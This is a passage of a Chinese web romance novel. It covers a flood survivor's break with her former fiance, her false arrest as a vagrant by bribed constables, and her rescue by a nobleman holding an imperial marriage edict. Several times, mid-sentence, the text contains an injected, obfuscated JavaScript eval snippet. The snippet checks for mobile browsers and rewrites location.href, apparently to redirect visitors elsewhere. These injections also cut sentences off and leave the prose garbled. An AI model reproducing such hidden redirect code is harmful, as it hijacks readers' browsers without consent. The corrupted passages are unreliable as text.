“兄长知道,我是被冤枉的。因为县令家的小姐看上了你,污蔑我偷东西,不许我进县城。”一想起那些人看她的目光,薛含桃的心口就闷闷的,很疼很难受。 但这种疼痛比不过后来的万分之一。她被退婚,被强逼嫁给孙家的痴儿,被关在暗无天日的柴房里面……到死。 “你是被冤枉的,可小桃,我没办法,只有和你退婚这一条路。我不知道后来堤坝被冲垮,村子被淹。”宋熹说着别过了头,“我往你家中送去了些银子,以为你最多被骂一顿。” 虽然他对她并没有男女之间的情意,但也一直把她当作亲妹妹看待。得知村子被淹的时候,他的内心仿佛被剜去了一块肉。 只是往事不可追,他已经拿到了监生的名额,不可能再走回头路。 “他们没有骂我,伯父伯母和堂兄们都很开心,因为送去银子的人说,只要把我立刻嫁出去,刘小姐就会再给他们五十两银子。” 薛含桃直直看向曾经以为真心对待她的兄长,用手比划了一下,“五十两银子,我都没见过那么多。” 宋熹的脸色变得难看起来,显然之后发生的事他并不知情,也没人告诉他。 “可是从哪里找到合适的人选呢?大伯父很着急,那人又说,村里孙家的儿子就是个好人选。兄长,伯父答应了。” 她抿着唇,往日黑亮的眼珠一动不动,莫名让人想起山间的夜,冷,萧瑟。 “我不愿意,然后被关了起来,没有吃的也没有喝的。” “外面一直下雨,门打不开,我被关了几天很饿,阿凶只能找到鸟蛋,树太高地面太滑,它摔断了腿。” “后来我就愿意了,可是没有人理我了。因为洪水来了,他们将我忘了。” 再后来呢? 薛含桃想感谢那场洪水,柴房的门被冲垮,阿凶叼着一只木盆游到她的身边,她和阿凶缩在木盆里面,奇迹般地活了下来。 尽管只剩一口气,但她还是遇到了人生中最大的幸运。 14. 第十四章 樊州位于黄河的中下游。 因为黄河上游树木被砍水土流失,每到夏季丰雨季,携带着泥沙的河水滚滚而来,樊州就有被淹没的风险。 为了防御水灾,位于樊州的丰县修建了一座堤坝,勉强无事。然而,今年的雨水太多太急,仅仅才两天堤坝就被冲垮,东冲西决,水漫千里。 那时,崔伯翀正好在儋州,儋州和樊州临界,德昌帝和朝中诸位相公为了避免洪水冲击下引发民乱,便将赈灾一责交给了他。 他身上有枢密副使一职,到了樊州可以立刻调动当地的官吏和军政。 几日内暂且控制住数万的灾民,崔伯翀带着方振等人便开始沿着被摧毁的堤坝视察,雨已经停了,但洪水还没有褪去的迹象。 他走在地势较高的田垄上,目光扫过被尽数淹没的农田,到处都是昏黄浑浊的河水,许久也只能看到一丁点儿的绿意。 那应该是根系未被冲断的树木,露出最顶上的树冠,无声地彰显着河水的深度与湍急。 崔伯翀的目光落在摇摇欲晃的树冠上,只一瞬就毫不留情地收了回去,他知道这些树冠也很快会被洪水吞没。 生命,脆弱不堪。 然而就在这时,他的视野中忽然闯入了一个黑点,像是滴落在纸张上的墨水,一点一点晕染变大。 他抬着睫毛,双眸定格在其上,异常深邃专注。 近了,又近了一些,崔伯翀认出那是一只简陋的木盆。 而木盆里面,蜷缩着的……他的瞳孔骤缩,寡淡平静的神色被打破,仿佛有一道鲜明的生机注入。 “郎君,您快看!”方振和其他人都惊叫起来,“水中有人,是个姑娘,还有一只黑狗!” 在这荒凉死寂的水国之上,出现了幸存的生命,哪怕只有万分之一的机会,每个人也都会为此感到惊喜。 木盆在水中漂浮,崔伯翀不动声色地盯着那个仿佛已经死去的瘦小身影,在她勉强睁开眼皮看过来的时候,他发现了一双清澈如同琉璃的眼睛,也听到自己说,“抓住她。” 不多时,木盆中的一人一狗被成功移到了岸上。 “还有气,先喂她一口干净的水。” 骷髅一般的小姑娘映入众人的眼帘,最先动容的人是方振。他向来心软,试过人的气息后当即拿出水囊要喂她喝水。 可是,睁开那一眼似乎用尽了她的力气,无论方振怎么呼喊她都没有动静。 “不会是……死了吧?”有人叹惋,怀疑人撑不住了。 可是一口气没叹完,他就看见优雅高贵的崔世子主动走上前,微微俯身对着小姑娘说道。 “主人若死了,这只杂毛狗没必要再救,直接宰了炖肉吃,足够饱腹。” 人还没救活,先把狗杀了吃肉! 残忍的话音落下,黑狗没有反应,被他们断定撑不过去的小姑娘却骤然生出了力气,她仰起头,用枯瘦的手指抓住了崔世子的衣袖。 “求求你…救我,不要吃我的狗。” 她哀求,然后再次失去神智。 只是这一次,她的手指抓住了救命的稻草,怎么都不肯松开。脏兮兮瘦巴巴的少女挨着昆山玉立丰姿清华的男子,古怪却又奇异地协调。 方振看在眼中惊在心头,赶紧过去要将这个小姑娘挪开,结果,世子朝他伸出了一只手。 “水囊拿来。”嗓音低沉,平静,听不出怒意。 方振犹豫了一下,将水囊递了过去。紧接着,他看到世子将水囊强硬地抵在小姑娘的下颌,迫使她张开唇瓣。 细小的水流灌进她的嘴中,她像是被激活了意识,不停地吞咽。 可是世子又如何会照顾人呢?动作一快,少女吞咽不及,水珠顺着她的唇角往下流,打湿了她的下巴和脖颈。 “郎君,够了,现在要尽快把人带回去,应该能救活。”方振急忙开口。 “嗯,带着那只狗。”崔伯翀看了一眼同样沾了水的衣袖,目光不明。 方振也犯了难,他们眼下身处泥泞的田垄上,莫说马车,就连一头牛都难以行走,一只狗还可以用手臂挟着,可是一个姑娘……她还抓着世子的衣袖不放呢。 崔伯翀把人抱了起来,她全身上下没有几块肉,抱着和一片羽毛无异。 其他人见此没有吭声,世子是正人君子,这次赈灾身边连照顾的侍女都没有带一个,由他抱着这个最后不知是死还是活的小姑娘,不会引发事端。 可是事实就如他们内心所想吗? 起初崔世子面色平淡地走在田垄上,怀中的小姑娘抓着他的衣袖,一切正常。 然而慢慢地,体温透过薄薄的衣袍似乎传到了她的身上,四肢冰凉的她循着本能变得贪婪起来。 她想要汲取温暖,瘦若见骨的身体不停地往男人的怀里钻,两只手臂紧紧地,死死地缠绕上去。 不柔软,也不滑嫩,更加的不美丽。 可是,她的痴缠不休却可以轻易地唤醒人的体内深深藏着的……情、欲。 帷幔之内,崔伯翀猛地睁开眼睛。昏暗的光线下,他弄清楚了情况,脸色冷峻。 一次微不足道地施出援手,竟然能出现在他的梦中,而且不止一回。 每每梦到,他的心头都萦绕着一股奇怪的躁念,硌手的骨头,冰凉的躯体,拼命往他怀中钻的劲头……他双眸微阖,低低咒骂一声。 夜色寂静,男子不停喘息的频率很是性感。 为什么是她?为什么梦到那一日?崔伯翀自己都不明白,不过,现在的他并不着急。 她逃不走,也不能逃。 - 宋熹说他自己不知情,说他被刘家父女骗了,说他洪水后曾经找过自己。 不管是真的还是假的,薛含桃都不想再信。 她告诉宋熹,以后不要来找她,这也是她最后一次唤他兄长。 宋熹从小院离开,答应了她的要求。不过临走之前,他深深地看了她一眼,并告诫她说,若遇到难事可以去找他,如今他不仅是国子监的监生,还有了新的依仗,不必再受制于刘县令父女。 “我不需要。”薛含桃坚决地摇了摇头,她说不想来往,那就是一丝关系都不要用。 “小桃,我进京途中曾经看到过一个和你很像的身影,但那是在崔世子的车队,我无法上前辨认。现在想一想,那就是你吧?你和崔世子扯上了关系,又因此平安来到京城,虽然我不知道是什么关系,但你我曾经的情谊才最珍贵。你若找我,兄长必定用尽全力帮你。” 宋熹仍不肯轻易放弃,似乎没有补偿她,他内心不安。 “是,那个人是我。世子在洪水中救了我和阿凶,我无处可去,便厚着脸皮留下来一直到京城。尽管那只是短短的十几天,但在我看来,比和你相识的十几年珍贵。” 说完了这番话,薛含桃就关上了院门。她根本不需要宋熹的补偿,她现在就是最快乐的时候啊。 反而看到他,她想到晦暗的过往心中不适。他们之间最好的结果,便是老死不相往来。 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234182|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着人的脚步声远去,院中恢复平静,薛含桃低下头轻轻抱住了一旁的大黑狗。 “阿凶,和你说个秘密,其实你才是我心目中真正的兄长。” 阿凶,阿兄。 她想到这个小心思只有自己知道,弯着双眸笑起来。 宋熹离开后不久,去街上买吃食的果儿一脸兴奋地跑了回来,和薛含桃说了一个消息。 街头郑婆子的儿子因为赌钱赌输了,正在家中大吵大闹,要郑婆子给他凑银子。 “怪不得她那么爱财,原来有一个赌钱的儿子。”薛含桃恍然大悟,并不知这个只见过一次面的赌鬼会将主意打到她的身上。 事情的起因和刘金眉有关。 宋熹知道真相后找到刘家质问,此时的他已经攀上了吏部侍郎的儿子,不需要再对刘家父女俯首帖耳,反而是刘县令要用女儿的婚事拴住他。 薛含桃对他说的那些话成为了他拒绝刘家婚事的借口。 刘金眉辩无可辩,在刘县令和宋熹两人冰冷的注目下,不得不承认了对薛含桃做过的事 顺理成章,宋熹不仅摆脱了婚事,还得到了刘家的补偿。 定国公府的大门都没进去,刘县令如今刚靠着宋熹在吏部侍郎跟前露了脸,不敢得罪他,只得把怒气全都撒在了女儿的身上,狠狠地扇了她一个耳光,令她面壁思过。 可刘金眉又怎么甘心,她把一切归罪到了薛含桃的头上。 “我早就说过能摁死她一次,就能摁死第二次。一个无权无势的孤女,竟然敢欺我至此!”她叫来了刘家带进京的家仆,也是上次派去跟踪的那个,吩咐他将人抓来。 这个家仆以前作恶惯了,一听就觉得他家娘子的法子不妥,毕竟现在他们不在丰县。 “娘子,我们在都城抓不了人,不过,我有一个法子。那姓薛的野丫头家都没了,您说她还有户籍路引吗?在都城,她和流民无异。只要她被抓走,到时候我们稍稍动些手脚,还不是任由娘子处置。” “好,我要那丫头生不如死。这件事你立刻去办!” 刘金眉气在心头,咬牙切齿地说道。 “只是,我们不能亲自出面,要先找一个人,” “那你就去找,有银子还怕没人做事。”刘金眉满不在乎。 …… 于是,隔日一个寻常的午后,薛含桃和果儿还有大黑狗都在家的时候,郑婆子的赌鬼儿子带着两个衙役找到了小院。 “大人,就是她,她肯定是流民。鬼鬼祟祟,每天都藏在屋子里头。” “什么流民,睁大你们的狗眼,我家娘子才不是流民,我家娘子是……” 果儿气的不轻,差一点就把宫里的薛贵妃搬了出来。 “是什么?不是流民,就把户籍路引拿出来,若拿不出来,就先跟我们走一趟吧。”两个衙役的态度十分不客气,他们最厌恶没有身份的流民,觉得每天遇到的麻烦事都是流民引起的。 他们向薛含桃索要户籍路引,薛含桃当然拿不出来。 “我…我是樊州来的,那里发了大水,户籍路引早就被水冲没了。”她老老实实地解释原因,并不惊慌。 受了灾的灾民安置到其他州县,不需要户籍路引。进城的时候她已经按照规矩登记过,而且还付过了银子。 “我管你从哪儿来,只要没有户籍一律是流民!” 然而,衙役根本不听她的解释,冷笑一声就要把她抓起来。 他们已经收下了银子,抓个流民还不是信手拈来。 15. 第十五章 “你们岂敢!快滚开,我家娘子可是贵妃娘娘的妹妹。” 果儿见这两个人不听解释就上前抓人,气的火冒三丈,冲过去阻挡。 闻言,两个衙役纷纷冷笑,胖些的那个更是一脸嘲讽,“贵妃娘娘的妹妹?我还说自己是皇帝老子的亲外甥呢。将贵人拖出来作挡箭牌,罪加一等。我看你们两人都身份不明,应该一同抓起来。” “对,大人,说不定她们正是别人家中跑出来的逃奴。”郑婆子的儿子开口附和,盘算着等抓了这两人,他可以趁机到房子里收刮财物。 他的老娘在家中时常念叨,这两个小娘子大手大脚,肯定不少钱。 “放肆,你们敢动手,娘娘一定让你们吃不了兜着走!” “怎么不敢!” 胖衙役去抓果儿,果儿气势汹汹地反抗,然而她根本不是他的对手,胖衙役抬起手臂狠狠地一推,果儿直接摔倒在地。 薛含桃见状,焦急万分,用力挣脱制着她的另外一个瘦些的衙役,就要去扶果儿。 瘦衙役猝不及防地被她撞了一下,面色铁青。 他们这样的官差在真正的权贵面前是只能点头哈腰的底层,可面对平民百姓那就是一座不可逾越的大山。 一个没有身份的流民居然敢反抗他,他的第一反应也是抬手打人,力道狠重。 电光火石之间,一直闷不吭声的大黑狗从斜刺飞窜而出,死死地咬在瘦衙役的手背。 殷红的鲜血激发了这人骨子里的戾气,他红着眼拔出了腰刀,“狗畜牲,去死吧!” “阿凶!快跑!”刀锋的冷光闪射在薛含桃的脸上,她带着哭腔尖叫,“跑,你快跑!我没事,你要跑。” 大黑狗在刀锋砍下之前落在了地上,尖利的牙齿往下滴着血珠。 它转头看一眼,听懂了她的话,朝着门口飞奔跑去。 一条伤腿虽然好全了,但它仍旧敌不过拿着刀的人类。 那个衙役不甘心地还要追上去再砍,薛含桃吓得面无血色,咬牙冲到了刀锋之下,黑黝黝的眼珠死死地盯住他,“我说了,我是樊州受难的灾民,所以才没有路引。我进城交了银子,做了登记,你不信我们就去官衙。” “对,去官衙,我倒要看看都城府尹怀大人最后问不问我家娘子的罪。”果儿也恶狠狠地看向方才推她的胖衙役,她在宫里的时候都没有人敢这么欺负她。 胖衙役被果儿怒瞪,又听到她竟然知晓府尹大人,脑子恢复了一些理智,上前让瘦衙役将刀收回去。 “不能见血,事情闹大了我两个也没好果子吃,把她们两个拘到衙门就是了。之后的事和我们无关。” “两个臭丫头,算你们今天走运。到了牢房里面看你们还怎么硬气。” 他们对视一眼,拿出了绳索。 - 定国公府,今日仍旧是罗承武当值。 他守在府门,面色看起来比前几日天气最炎热的时候还要黑,活像个老鸹。 其他护卫看出他心情不好都识趣地不敢说话,脊背挺直丝毫不敢懈怠。 忽然,一阵风吹过,过一会儿一个护卫后知后觉地喊了一声,“黑狗!” “什么?”罗承武不耐烦地询问。 “头儿,我刚才看到一只黑狗跑进了府门。”这人挠挠头发,开口回答。 “你刚才怎么不说?”罗承武脸又黑了一层,今日枢密院的狄大人来访,万一被那只狗冲撞,他又要守半年的大门! “这不是,方才不敢说话嘛。” “榆木脑袋!狄大人今日也在。” “头儿,国公府那么大,这只狗跑进去乞食应该去厨房,哪里会跑到东院去呢。” “但愿吧。” …… 阿凶从来没有这么焦急地奔跑过,上一次主人被关起来,它可以去找吃的,可这一次那些人类有刀。 武器在犬类的眼中只有一个用处,杀戮。 主人遇到了危险,它敌不过那些人类,就只能跑,继续跑,找到能救主人的人类。 它知道有一个地方,那里有一个强大的人类,而它还记得他身上的气味。 “狗,怎么有一条狗跑了进来?” “快拦住它,它往东院跑了。” “啊!玉蘅姐姐,这狗不会咬人吧?我们追不上啊。” 大黑狗的出现吓坏了玉蘅等几个侍女,尤其是在看到它的嘴角还有未干的血液时,人人花容失色。 玉蘅尚稳得住,冷静地吩咐几人拿来一张网,可这只狗像是有目的一般,避开渔网,直冲冲地奔向了世子的书房。 “不好,怕是要惊动世子,快和方管事说。” 书房内,方振站在靠近门口的位置,与枢密使狄大人的随从两个人默契地保持安静。 崔伯翀和狄恒在交谈,说的刚好是先前到樊州赈灾一事。 “朝中文文相护,不是一日两日之久,公何必白费功夫。”面对年纪足以做他父亲的狄大人,崔伯翀的态度有些随意。 他手中把玩着一只纯金做的面具,语气散漫。 狄恒的两鬓已经染上了白霜,听到他这么回答,不禁叹气,神色凝重。 “伯翀你尚且年轻,将来枢密使一职势必要交到你的手上,到时你就会明白我心中的焦切。眼睁睁看着这大好河山衰败于内,如此持续,北伐之日究竟何时才能到来。” “北伐,或许公见不到,我也见不到。” 崔伯翀轻柔地抚摸着面具的纹路,薄唇吐出的话如剜人心。 狄恒呼吸一窒,更加颓然,是了,他差点忘记了面前的后辈不一定能比他活的长久。 “就让大好河山烂下去,继续烂到底,反正河山的主人不在乎。公与我,俱是无能为力,最多也不过保得一两人平安喜乐。” 举止优雅的青年扬起薄唇,上勾的弧度说不出的讽刺。 狄恒看到,顿时无言。 大黑狗便是这时闯到了书房的门前,它认出了守门的方振,着急地呜呜一声,接着像是下定了决心一般,呲着牙咬住了……屋中青年的衣角。 “这是定国公府的狗?伯翀你养的?” “郎君,这是阿凶!小桃养的狗。” 几人注意到突然出现的黑狗,狄恒有些讶异,他没想到定国公府也会养一只寻常犬类,而方振一眼就想起了黑狗的身份。 他又看到黑狗嘴角尚未凝固的鲜血,神色一变,狗向来护主,阿凶带血跑来这里,或许是小桃出事了。 不必方振 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小吏充耳不闻,薛含桃和果儿便亲眼看着一张银票递到了他的面前。 “大人明鉴,外头有个刘姓家仆说其中一个丫头是他家娘子买下的奴婢,花了五十两银子。想请大人通融一番,他将人带回去好好管、教。” 刘家娘子,五十两银子。 薛含桃人老实但不傻,顿时明白了针对她的人是谁,唇角紧抿。 哪怕离开丰县到了都城,刘金眉也不会放过欺压她。 可现在的她不再是一无所有了啊。 “大人,我要状告有人诬陷与我,并要强掳我为奴。” “我真的是从樊州而来的灾民,前来京城投靠家中堂姐,此事我的阿姐和姐夫也知,他们为我寻到一桩婚事,这个……应该可以作证。” 薛含桃小心翼翼地从身上的荷包里面拿出一样东西。 那是一方淡黄色的绢帛,上有精致的龙纹。 果儿在一旁瞥见,眼睛顿时瞪圆,这……这不是圣旨吗? 对啊,娘子的赐婚圣旨! 16. 第十六章 “大人,不必和她废话,这两个丫头惯会骗人,方才还说是贵妃娘娘的妹妹。”衙役见薛含桃还不死心,捂着受伤的手背,满脸恼怒,“一个被主家找上门的逃奴,妄想着脱罪罢了。” “是啊,大人不要被她糊弄,不若叫我锁了她直接拖出去。”另外一个衙役眼带凶光,完全不把薛含桃拿出来的东西当回事。 这么多银子打点,他不信小吏不动心,偷偷处理一个没有身份的丫头,动动嘴皮子的功夫。 可笑,不赶紧跪地乞求,居然还反告被污蔑,没有脑子的愚民百姓! 他冷笑一声,伸手去夺薛含桃手中的绢帛。 然而,这时一直未曾作声的小吏重重一脚踹在这人身上,大骂,“蠢货!” 有没有身份户籍不重要,重要的是她能拿出堪比黄金的绢帛。 小吏认不出这是圣旨,但他有眼睛识货。 少女手中捧着的绢帛,不仅柔顺轻薄,上还有珠光流动,这样的珍品岂是寻常人可以拥有,随便卖出去不比五十两银子多得多。 他轻蔑地哼声,在银票与绢帛中,选择将绢帛接了过去。 上面有字,写的似乎还不错,小吏漫不经心地瞥了一眼,随后大惊失色,一口气险些没提上来。 有龙纹有御称有金印,这分明是一封圣旨! 再看里面的内容,小吏慌得手抖不止,方才他没听错的话,这女子言她的姐姐姐夫为她寻了一桩婚事,而衙役又提到贵妃娘娘,这完全对上了啊。 “来人,快去请县令大人,不,去请府尹怀大人!” 恍惚过后,小吏立刻改变了态度,对着薛含桃和果儿弯腰赔笑,“两位姑娘……娘子,你们先坐下稍作等候,一切由府尹大人定夺。” “呵!我早就说过,府尹大人肯定不会定我家娘子的罪。反而是你们,等着吧!”果儿怒瞪那两个因为小吏的话而变了脸色的衙役,扶着薛含桃去坐下。 “不,多谢大人的好意,我们还是站着吧,毕竟我等只是民女。” 薛含桃摇摇头,不肯坐下,老老实实地按照规矩来,拉着果儿站到了角落。 换作在丰县,她一个民女状告刘县令的女儿,恐怕连跪着的机会都没有。 身份之别,犹如天堑。很早之前,她就意识到了这一点。 所以,现在的她哪怕有了个贵妃姐姐,也依旧谨小慎微。 哪怕被人看不起,被人嘲笑小家子气。 - 崔伯翀比都城府尹怀大人来的更早一些。 县衙的人没有敢拦他的,身在天子脚下的都城,掉一块砖都有可能砸到一位贵人,这些人早就练就了一双利眼,看到他如入无人之境般进去,连大气都不敢喘。 尽管他的身后还坠着一只狗。 毛发杂乱的黑狗像是在找什么人,四周都嗅过后,径直朝着大堂奔去。看上去,狗比人着急,但不慌不忙走在前面的是人。 崔伯翀一踏入大堂,目光就捕捉到了角落里的人影,瘦瘦小小的一团,垂着脑袋,任由旁人精明地打量,依旧是一副呆呆傻傻的样子。 “足下是谁?” “呜~” 小吏惊惶的询问和狗叫声一同响起,崔伯翀恍若未闻,朝着角落而去。 “阿凶!”循着声音,薛含桃发现了安然无恙的大黑狗,面带惊喜。下一瞬,她看到来人又变得话都说不利索,“世、世子……” 崔伯翀也在看她,没有情绪的眼神从上而下将她全部扫了一遍,除了神色萎靡了一些,桃肉和桃核都还在。 他收回目光,终于注意到一旁的吏目和衙役,“听说本世子的未婚妻被人指认为流民,你们就把她给抓了?” “贵人是?” “崔世子!世子怎么有闲趣到我底下的一个县衙,您若有事吩咐。派个人也就是了。” 都城府尹怀大人听到下面的人急报陛下旨意到了符祥县衙,顾不得疑惑,紧赶慢赶从北城过来,却不料先见到了枢密副使崔世子。 枢密院副使别看带着一个副字,实际上乃是当之无愧的正二品高官,实权在握。他一个从四品的都城府尹,见到人不仅要作揖行礼,还要时刻小心作陪。 崔世子的身份又和常人有些不同,他还是定国公嫡子,皇后的亲侄子,陛下时常挂在嘴边的近臣。 “崔…崔世子!那她真的是贵妃娘娘的妹妹!”小吏忍不住惊呼,两个抓人的衙役白眼一翻晕了过去。 崔伯翀平静地看着这个场面,不出声,只是冲着还在愣神的女子招了招手。 薛含桃乖乖地走到了他的身旁,在阿凶累的把脚搭在她鞋子上时如梦初醒。 所以,是阿凶跑过去找到了世子。 一想到这里,她既感动世子生了她的气还愿意来救她,又很不好意思,为什么总让世子看到自己狼狈的样子。 被衙役推搡后的疼痛在此时忽然变得很清晰,薛含桃鼻子一酸,赶紧低下头不叫人发现。 已经很久没有人对她这么好了,在她危急的关头,一次次地出现。 “这到底怎么回事?”怀大人终于察觉到了场面的怪异,皱着眉头将目光投向颤抖的小吏。 陛下的旨意呢?什么叫真的是贵妃娘娘的妹妹?崔世子和他身边的女子又是? “他不敢说,我来说。怀大人,今日我和娘子好端端地在家中,突然,他们,就是您手下的人,说我家娘子是流民,要把她抓进牢里。我和我家娘子几番解释,他们还硬是将我们抓来!”果儿气愤不已,把首尾一股脑儿地全说出来,“我家娘子哪里是流民,而是宫中贵妃娘娘的妹妹,娘娘派我到娘子身边服侍,却不想到会遇到这样的事!” “之后我一定会和娘娘说明,他们不仅故意抓我们还收了银子,要将娘子掳卖为奴!” 这件事,绝对不能善了。如今终于被果儿抓到了机会,她添油加醋说了一大通,如愿见到怀大人的脸色变得难看起来,才算满意。 “掳卖为奴?现在的府衙开始做起这个勾当了吗?”崔伯翀不知道这一点,微微眯眼,轻声笑问怀大人。 怀大人还未从他手下的衙役抓了贵妃妹妹的烂摊子中回神,又被兜头质问,顿时如芒在背。 “世子说笑,府衙重地,怎敢有这样的事发生,我一定彻查清楚,给世子和这位娘子一个交代。” 他看向貌不起眼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当时才短短两日大水就将堤坝冲垮,朝中不少人包括他就猜测那座堤坝是否有猫腻,丰县不就是,不就是堤坝被冲垮的地方吗? 难道世子赈灾时找到了证据? “我不是故意看到的。”薛含桃显得很羞愧,那时候方大哥不知道她识字,所以安排她为世子打理书案,她不小心看了两眼,然后就看到了奇怪的内容……夜里睡下时,她才恍然明白那些记录是什么,刘县令修建堤坝的账本! 用到堤坝上的银子少的可怜,所以刘县令一定是贪墨了吧。 她悄悄将这件事记在心里,不想被人察觉,没想到世子早就发现她看到了啊。 “为什么不说?你只要说出来,姓刘的一家都难逃一劫,欺负你的人也会受到惩罚。” 崔伯翀的声音很冷,像是寒冷的北风吹来。 “因为,我相信世子,世子有自己的安排,我不能为了我一个人坏了世子的时机。” 薛含桃看着他越靠越近,紧张兮兮,眼睫毛飞颤,但眼中浓浓的信赖与仰望一直没有变过。 世子现在还没有处置刘县令,肯定是有更大的筹谋! 17. 第十七章 崔伯翀笑了。 看到她眼中毫不掩饰的信任,他想笑,也真的笑了出来,如春风拂过,寒冰融化,眸光流转间,他注视薛含桃的目光温柔又矜贵。 “假如,我告诉你,我并无任何安排,仅仅是不在乎,懒得过问呢?” 天下的主人不在乎,朝中满口仁义的诸位相公不在乎,每个人都心知肚明,每个人都冷眼旁观,他一个将死之人为何要过问? 仅是因为她莫名其妙的一句相信吗? 今日在狄公面前,他已经表明了自己的态度。而她,一个随手救下的小可怜,不过是百年之后要陪葬在他的身边,给他带来一丝温暖罢了,又有什么不同? “不会的。保卫百姓的人是世子,安置灾民的人是世子,救下我和阿凶的人也是世子。世子如果不在乎的话,便不会让人把刘县令拦在门外,还用佩刀驱赶他。” 面对他的质问,薛含桃没有一丝犹豫,弯着唇瓣反驳。世子就是很心软很仁慈的神明啊,不然怎么会在生了她的气后还过来救她。 她也在笑,却是开心的,纯净的,宛若折射在湖面的阳光,没有丁点儿污秽,令人一眼看到底。 明明只是一个瘦瘪干巴的普通桃子,愣是在这一刻,流出香甜的令人垂涎的蜜汁。 就连变成官场老油子的怀呈怀大人,都不由多看了几眼,心道小姑娘模样寻常,笑起来挺讨人喜欢。 说出的话,直白,朴实,但比那些堆砌词藻的歌功颂德更为耐听。 嗅着这股香甜的气息,崔伯翀心中的凶戾混沌慢慢在消失不见,骨头里另外一种的存在同时开始躁动不止。 他从女子脸上移开视线,削薄的唇吐出几个字,“把那两个人弄醒。” 昏过去的衙役很快被泼了盆冷水,惊恐万状地交代了一切。包括赖老大如何找到他们,一个刘姓家仆又是如何使银子请他们行个方便…… 果儿听着他们每说一句话愤愤不平地冷哼一声,薛含桃的心思却飞到了其他地方。 她有些不安,自己真的不会坏了世子的安排吗? 对了,还有赐婚圣旨,过了今天,会有很多人知道她就是世子的未婚妻了吧?她一定会给世子丢脸…… 带着羞赧,她从小吏那里要回了赐婚圣旨,趁人不注意,迅速地折叠好放回荷包里面。 殊不知她的小动作早就被人收进眼底。 “事情既然已经明了,接下来怎么做,怀大人想必不用我再开口。”崔伯翀往身旁瞥了一眼,有人恨不得连荷包也找个地方藏起来,他走过去,好整以暇地掰开了她的手。 “薛贵妃之妹蕙质兰心,心思澄净,品貌双全……特赐婚与定国公之嫡子。” 他将圣旨里面的内容一字不漏地复述了一遍,薛含桃窘迫不已,只能紧盯着自己的脚尖。 圣旨当中的最后一个字落下,崔伯翀轻抬眼皮,看向都城府尹怀呈,“怀大人,难得你能见到陛下赐婚的圣旨。” “确实是我的荣幸,差点忘了恭贺世子,世子成婚之时一定不要忘记请我也喝一杯喜酒。” 怀呈闻弦歌知雅意,当即笑着回道。 笑过之后,很快,他冷脸对着手底下的人下了命令。 “即刻将罪人刘氏一家缉拿至府衙,不得有误。” - 县衙外头,罗承武架着马车等候。 仍旧是四角镶嵌着汉白玉的那辆,薛含桃不敢去拽出自己的手指,只好耷眉臊脸地跟着崔世子上了马车,任由自己的手被牵在他的手心。 他们进入了屏风隔开的里间,果儿和累趴的大黑狗识趣地坐在了外间靠近门口的地方。 “送她们回去。” 崔伯翀说完这句话后,便不再开口。 一路上,薛含桃老老实实地不吭声,她还记得自己上次说的话惹怒了世子,连带她买的银霜糕也被还了回来。 如今果儿在车厢里面,她呼吸也轻轻的,不问他为什么这么快就找到县衙,也不敢提他还生不生她的气。 还有,他将圣旨里面的内容念出来,是什么意思呢? 薛含桃想入了迷,忽略了在马车停下的时候,她没有踩脚凳而是被托着后腰抱下来的。甚至,周围听到动静的领居们看到了这一幕。 “天杀的,谁动了我们的屋子,娘子,您看,我早晨留下的半只烤鸡都不见了!” 院门和房门都开着,院子里一片狼藉,一看便被人光顾过,果儿气的哇哇大叫,今天简直是倒霉透顶。 “还好,我把银子大半都放在了身上。”薛含桃毫不意外会出现这种结果,心有余悸地摸了摸荷包。 她以前住在大伯父家中,大伯父和大伯母两人也会趁着她不在翻她的东西,吃过两次亏,她就习惯了将贵重的东西贴身保存。 抄书赚来的几两碎银都在她的荷包里面,房中并无……不对! 薛含桃似乎是想到了什么,小脸微白,急匆匆地跑进了她住的那间大屋,力气一大顺便将崔世子的手甩开了。 果儿和罗承武不约而同看到了这个场景,有意识地降低自身的存在感。 只有大黑狗不放心自己的主人,想要跟进房间里面。 崔伯翀直接吩咐果儿,语气相当刻薄,“给它上些药,跑那么远,瘸腿别是废了。” “好,好的。”果儿出身宫里薛贵妃的柔仪殿,察言观色的功夫不亚于大家族的侍女,知道崔世子是不想阿凶进屋,忙不迭地将狗拖走。 薛含桃不知道崔世子也跟着进了她的屋子,她目标明确地朝向一个地方寻找,当发现陶罐还原原本本停留在窗台上,没有丝毫的变化,她的一颗心慢慢落回肚子里面。 银子可以继续赚,但陶罐里面承载希望的种子再找不到了。 薛含桃目光发怔,将灰扑扑的陶罐紧紧抱在怀里。她没察觉身后有人在环顾了四周过后,弯腰与地面捡起了一物。 这算是崔伯翀第一次进入女子的闺房,他随便扫过一眼,一张木架子床,两个木凳,一条书案,一只箱子,看到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“退婚了,早就退了。我,我现在只有世子一个未婚夫。” “不要再说了。” “我不是故意瞒着的。” 寥寥几句话,薛含桃羞愤地快要哭出来。 